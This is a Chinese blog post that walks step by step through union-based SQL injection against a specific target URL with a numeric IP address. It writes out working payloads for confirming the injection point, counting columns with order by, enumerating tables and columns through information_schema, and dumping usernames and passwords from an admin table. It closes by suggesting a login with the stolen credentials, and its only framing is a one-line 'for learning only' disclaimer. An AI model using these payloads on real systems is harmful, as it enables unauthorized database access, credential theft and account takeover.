【安全测试】sql注入的思路
2022-03-18 18:06 码上起舞 阅读(84) 评论(0) 编辑 收藏 举报参考:https://bbs.zkaq.cn/?t/2642.html
本文仅供学习使用。
一、sql注入的思路
目标url:http://117.41.229.122:8003/?id=1
1判断注入点:
注入and 1=1 和 and 1=2 返回结果一个可以正常返回,一个没有返回,初步判断可以注入
构造入参
?id=1 and 1=1
?id=1 and 1=2
结合sql理解即为:
SELECT * FROM A a where B=2 and year= 2018 and a.C='1' and 1=1
SELECT * FROM A a where B=2 and year = 2018 and a.C='1' and 1=2
2.判断字段数量
构造入参:
?id=1 and 1=1 order by 1
?id=1 and 1=1 order by 2
原理:尝试增加order by后面的数字,当不能正常返回时,即最后一个正常返回的值即为字段数量;例如order by 10报错则有9个字段
结合sql里面为:
SELECT * FROM Aa where B=2 and year = 2018 and a.C='0' and 1=1 ordery by 1
SELECT * FROM Aa where B=2 and year = 2018 and a.C='0' and 1=1 ordery by 3
3.判断回显点
构造入参:
?id=1 and 1=2 union select 1,2
原理:从第2步可以判断有几个字段,union select 后面跟的数字则是第2步判断出来的字段数。
SELECT * FROM Aa where B=2 and year = 2018 and a.C='0' and 1=1 union select 1,2,3,4,5
union后面的数量跟字段数量一致,看看页面回显数据显示多少,比如显示3,则表明回显数据在3的位置
4.查询数据库名
在回显位置查询database
构造入参:
?id=1 and 1=2 union select 1,database()
原理:在回显位置替换上DATABASE()的内容
SELECT * FROM A a where B=2 and year = 2018 and a.C='0' and 1=2 union select 1,2,DATABASE()
5.查表明table_name
构造入参:
?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
原理:在回显位置查询数据库的表名table_name
table_name from information_schema.tables where table_schema=DATABASE()
结合sql理解:
SELECT * FROM A a where
B =2 and year = 2018 and a.C='0' and 1=2
union select 1,2,table_name from information_schema.tables where table_schema=DATABASE() limit 0,1
通过limit0,1的变化,比如limit 1,1,limit 2,1等可以查出来多张表名
注意!! union前面的部分注入的是and 1=2,查出来表名供第6步使用,假设table_name=admin
6.查询字段名
使用第5步的table_name,查询对应表的字段名
构造参数:
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1
结合sql理解:
SELECT * FROM A a where B=2 and year = 2018 and a.C='0' and 1=2
union select 1,2,column_name from information_schema.columns where table_schema=DATABASE() and table_name='admin' limit 3,1
SELECT * FROM A a where B=2 and year = 2018 and a.C='0' and 1=2
union select 1,2,column_name from information_schema.columns where table_schema=DATABASE() and table_name='admin' limit 2,1
SELECT * FROM A a where B=2 and year = 2018 and a.C='0' and 1=2
union select 1,2,column_name from information_schema.columns where table_schema=DATABASE() and table_name='admin' limit 1,1
#union后面的admin为第5步查询出来的表名,limit后面有变化,分别查出来字段名
#注意!!如果回显区域没有内容,请确认union select的查询语句是否在回显位置上,本例以3为回显位置
7.查询字段内容
构造入参:
?id=1 and 1=2 union select 1,username from admin limit 0,1
原理:用上面步骤查出来的字段名和表名,查询对应字段的内容。
结合sql理解
SELECT * FROM A a where
B=2 and year = 2018 and a.C='0' and 1=2
group by a.C
union select 1,DATABASE(),VERSION(),4,5,6,7,8,9,10,11,12,13,14,username from admin limit 0,1
#union后面的username为第6步查到的字段名,现查询字段名的内容,比如字段username的内容
#查到后继续查其他字段的内容,比如password
#如果limit 10,1没有回显内容,说明只有9行记录
查到字段内容,可以尝试用查到的内容进行登录,看是否能登录成功。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 地球OL攻略 —— 某应届生求职总结
· 提示词工程——AI应用必不可少的技术
· Open-Sora 2.0 重磅开源!
· 周边上新:园子的第一款马克杯温暖上架